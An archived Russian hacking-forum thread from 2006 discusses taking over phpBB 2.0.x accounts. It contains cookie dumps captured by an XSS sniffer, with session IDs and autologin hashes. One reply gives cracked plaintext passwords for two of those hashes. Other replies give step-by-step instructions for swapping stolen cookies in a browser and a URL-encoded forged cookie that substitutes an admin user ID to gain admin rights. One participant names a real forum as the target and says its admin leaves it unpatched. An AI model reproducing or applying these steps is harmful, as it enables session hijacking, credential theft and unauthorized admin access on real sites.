Просмотр полной версии : Как подменить куки на PhpBB?
podkashey
14.01.2006, 01:51
В поиске по форуму почему-то не нашел. Извиняюсь если уже было.
По PhpBB 2.0.14 вроде. Использовал XSS WJ.
На сниффер приходят такого вида кукисы:
1) REFERER=http://сайт.ru/viewtopic.php?t=144
QUERY=phpbb2mysql_data=a:2:{s:11:"autologinid";s:0:"";s:6:"userid";s:2:"71";}; phpbb2mysql_sid=fb92f3ae9449faa5f5638a7b8f82665c; b=b; phpbb2mysql_t=a:1:{i:144;i:1137188123;}
AGENT=Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50215)
2) REFERER=http://сайт/viewtopic.php?p=1000&sid=7f719a7904ea3855d0e19651ea5dffb5
QUERY=phpbb2mysql_data=a:2:{s:11:"autologinid";s:32:"c3b1cdacd926a27c6d2ba4edea2315d9";s:6:"userid";i:4;}; phpbb2mysql_sid=7f719a7904ea3855d0e19651ea5dffb5; b=b; phpbb2mysql_t=a:1:{i:144;i:1137187244;}
3) QUERY=mail=к; comlog=Arsenio; b=b; hotlog=1; phpbb2mysql_data=a:2:{s:11:"autologinid";s:32:"c38fc265ba6bd19e91716b07459e0840";s:6:"userid";i:88;}; phpbb2mysql_sid=12e1027040bd3158d7f8ef8d63cab91d; b=b; phpbb2mysql_t=a:1:{i:136;i:1137186727;}
и только один раз вот такое:
4)REFERER=http://сайт.ru/viewtopic.php?t=99&postdays=0&postorder=asc&start=180&sid=3c0662d34eb3e23da30b84d19347d2ec
QUERY=; sessionid=2038548; b=b; hotlog=1; phpbb2mysql_data=a:0:{}; phpbb2mysql_sid=3c0662d34eb3e23da30b84d19347d2ec; b=b
Че-то не понимаю что с ними делать - свои когда заменяю ничего не происходит. Почему только в одном месте есть сессион хэш? Или надо расшифровывать обязательно? Тогда что конкретно расшифровывать? Нет ли там соли как в ИПБ?
Заранее спасибо. С меня репа.
_-[A.M.D]HiM@S-_
14.01.2006, 02:08
В поиске по форуму почему-то не нашел. Извиняюсь если уже было.
По PhpBB 2.0.14 вроде. Использовал XSS WJ.
На сниффер приходят такого вида кукисы:
1) REFERER=http://сайт.ru/viewtopic.php?t=144
QUERY=phpbb2mysql_data=a:2:{s:11:"autologinid";s:0:"";s:6:"userid";s:2:"71";}; phpbb2mysql_sid=fb92f3ae9449faa5f5638a7b8f82665c; b=b; phpbb2mysql_t=a:1:{i:144;i:1137188123;}
AGENT=Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50215)
2) REFERER=http://сайт/viewtopic.php?p=1000&sid=7f719a7904ea3855d0e19651ea5dffb5
QUERY=phpbb2mysql_data=a:2:{s:11:"autologinid";s:32:"c3b1cdacd926a27c6d2ba4edea2315d9";s:6:"userid";i:4;}; phpbb2mysql_sid=7f719a7904ea3855d0e19651ea5dffb5; b=b; phpbb2mysql_t=a:1:{i:144;i:1137187244;}
3) QUERY=mail=к; comlog=Arsenio; b=b; hotlog=1; phpbb2mysql_data=a:2:{s:11:"autologinid";s:32:"c38fc265ba6bd19e91716b07459e0840";s:6:"userid";i:88;}; phpbb2mysql_sid=12e1027040bd3158d7f8ef8d63cab91d; b=b; phpbb2mysql_t=a:1:{i:136;i:1137186727;}
и только один раз вот такое:
4)REFERER=http://сайт.ru/viewtopic.php?t=99&postdays=0&postorder=asc&start=180&sid=3c0662d34eb3e23da30b84d19347d2ec
QUERY=; sessionid=2038548; b=b; hotlog=1; phpbb2mysql_data=a:0:{}; phpbb2mysql_sid=3c0662d34eb3e23da30b84d19347d2ec; b=b
Че-то не понимаю что с ними делать - свои когда заменяю ничего не происходит. Почему только в одном месте есть сессион хэш? Или надо расшифровывать обязательно? Тогда что конкретно расшифровывать? Нет ли там соли как в ИПБ?
Заранее спасибо. С меня репа.
Соли нету !!!
Зпходи в Опере в куки у удоляй все кроме :phpbb2mysql_data и phpbb2mysql_sid и подстовляй свое и все !!!
_-[A.M.D]HiM@S-_
14.01.2006, 02:10
и еще одно если не зайдет то тогда phpbb2mysql_data:вот точто здесь должно быть биг к кокомуто декодуру и кодируй в URL и встовляй !!!
Romaxa55
14.01.2006, 03:07
2) REFERER=http://сайт/viewtopic.php?p=1000&sid=7f719a7904ea3855d0e19651ea5dffb5
QUERY=phpbb2mysql_data=a:2:{s:11:"autologinid";s:32:"c3b1cdacd926a27c6d2ba4edea2315d9";s:6:"userid";i:4;}; phpbb2mysql_sid=7f719a7904ea3855d0e19651ea5dffb5; b=b; phpbb2mysql_t=a:1:{i:144;i:1137187244;}
Иль просто расшифруй хешь c3b1cdacd926a27c6d2ba4edea2315d9 вот я те расшифровал пароль этого хеша babitch
c38fc265ba6bd19e91716b07459e0840:loko
podkashey
14.01.2006, 04:07
Не понимаю в чем дело, но сую в оперу куки, а зайти все равно не получается. Хотя пароль расшифрованный один подошел. ;)
Еще интересен такой момент: Там где пароль loko, стоит юзер айди 88 (если я правильно понимаю), а такого юзера нету (опять же смотрел через ссылку из списка пользователей u=88). Такое возможно? И как так быстро нашелся пароль babitch - он в словарях есть или так быстро перебирается? Через http://passcrack.spb.ru искали?
Есть ли на PhpBB 2.0.14 проблемы со входом в админку как на IPB (одного хэша мало)?
P.S. Всем спасибо и плюсы к репе. ;)
podkashey
14.01.2006, 04:15
По поводу 88 извиняюсь - ступил - не тот форум смотрел. ;)
Ну и еще хотелось бы узнать почему то пхп_дата, то в одном месте появляется сессионхэш?
ище хотелось бы узнать почему то пхп_дата, то в одном месте появляется сессионхэш?
вощето если у юзака не стоит опция автологин то бужешь токо сессию ловить в снифере.
podkashey
14.01.2006, 05:42
Имелост в виду:
QUERY=; sessionid=2038548; b=b; hotlog=1; phpbb2mysql_data=a:0:{}; phpbb2mysql_sid=3c0662d34eb3e23da30b84d19347d2ec; b=b
а конкретнее sessionhash. Что это?
Вопрос, мона, не нашел топа с темой.
Помните баг phpbb с куками. Нашел версию 2.0.11 пытаюсь в Опере подставлять куку a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs% 3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D, ни черта не получается, так и остаюсь со своими правами. Вот линк, если кто могет помочь http://forum.homebusiness.ru/
Возможно форум пропатчен..потому и не работает.
syntacsis
15.01.2006, 03:17
а как же ты хочешь войти, если юзер не использует автологин? жди когда он появится на форуме, лови куки и заходи вместе с ним или пока куки живы. еще эдак час +/- А вообще это странно входить на 2.0.11 и скакой-то подставой кук париться. иди сразу в админку. тут на ачате вроде есть всё. найди
syntacsis Не нашел как можно на 11-ой версии сразу в админку залезть, кроме как XSS (украсть куку и сессию). Если знаешь, могешь в личку намек бросить или линк на топ где это обсуждалось? Заранее благодарен!
Grrl Не пропатчен, админа я знаю, он лентяй и багтраки не смотрит.
дай полные куки что пришли на сниффер, скажу что и куда вставить
WizART Дык с куками я вродь как знаю, что и куда вставлять (в phpmysql_data и саму сессию ставил в phpmysql_id и в Опере и в Мозилле). Вопрос вот в чем: почему не патченный форум на 11- ом движке не пускает меня с этой сессией и кукой в админку и даже просто, судя по видео от KEZ у меня не получается получить админские права. Гы-ы... Руки то у меня конечно не супер прямые, но и не кривые тож, а вот в чем трабл, не пойму... Кстать, а могет быть, что ID админа не %222%22%, а допустим %225%22?
вообще-то и не обязательно что ID админа 2!!! :))) это для примера дано ЛОООЛ :) Смотришь ID админа и фтыкаешь замест 2 и все, например "%22235%22"
WizArtНе нихрена, ни в админку не заходит, ни права админские не получаю (куку ставлю админскую), сцука, неужель он все таки пропатчил форум. А кстати, там трабл такой, что даже када галку ставишь "Запомнить меня", он все равно не запоминает...
это не пропатченый форум, а глючный :) В некоторых версия пхпББ был такой прикол, у меня сначала вообще не хотело входить, просто страницу с ошибкой давало, но потом пофиксил этот баг.
Вопрос чем опера от експлорера отличается в плоне куки, просто я еще не вникал в это. Хочется что б разьяснили
Перед тем как куки менять их вроде надо перекодировать :)
=\ там вощето уже закодированные, блин читай тему про баги пхпББ это типо в куки ставишь, в одно место замест своего ID втыкаешь админовский и уаля :) ты админ :)))
Кст ты с autologin входил под своим юзером?
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot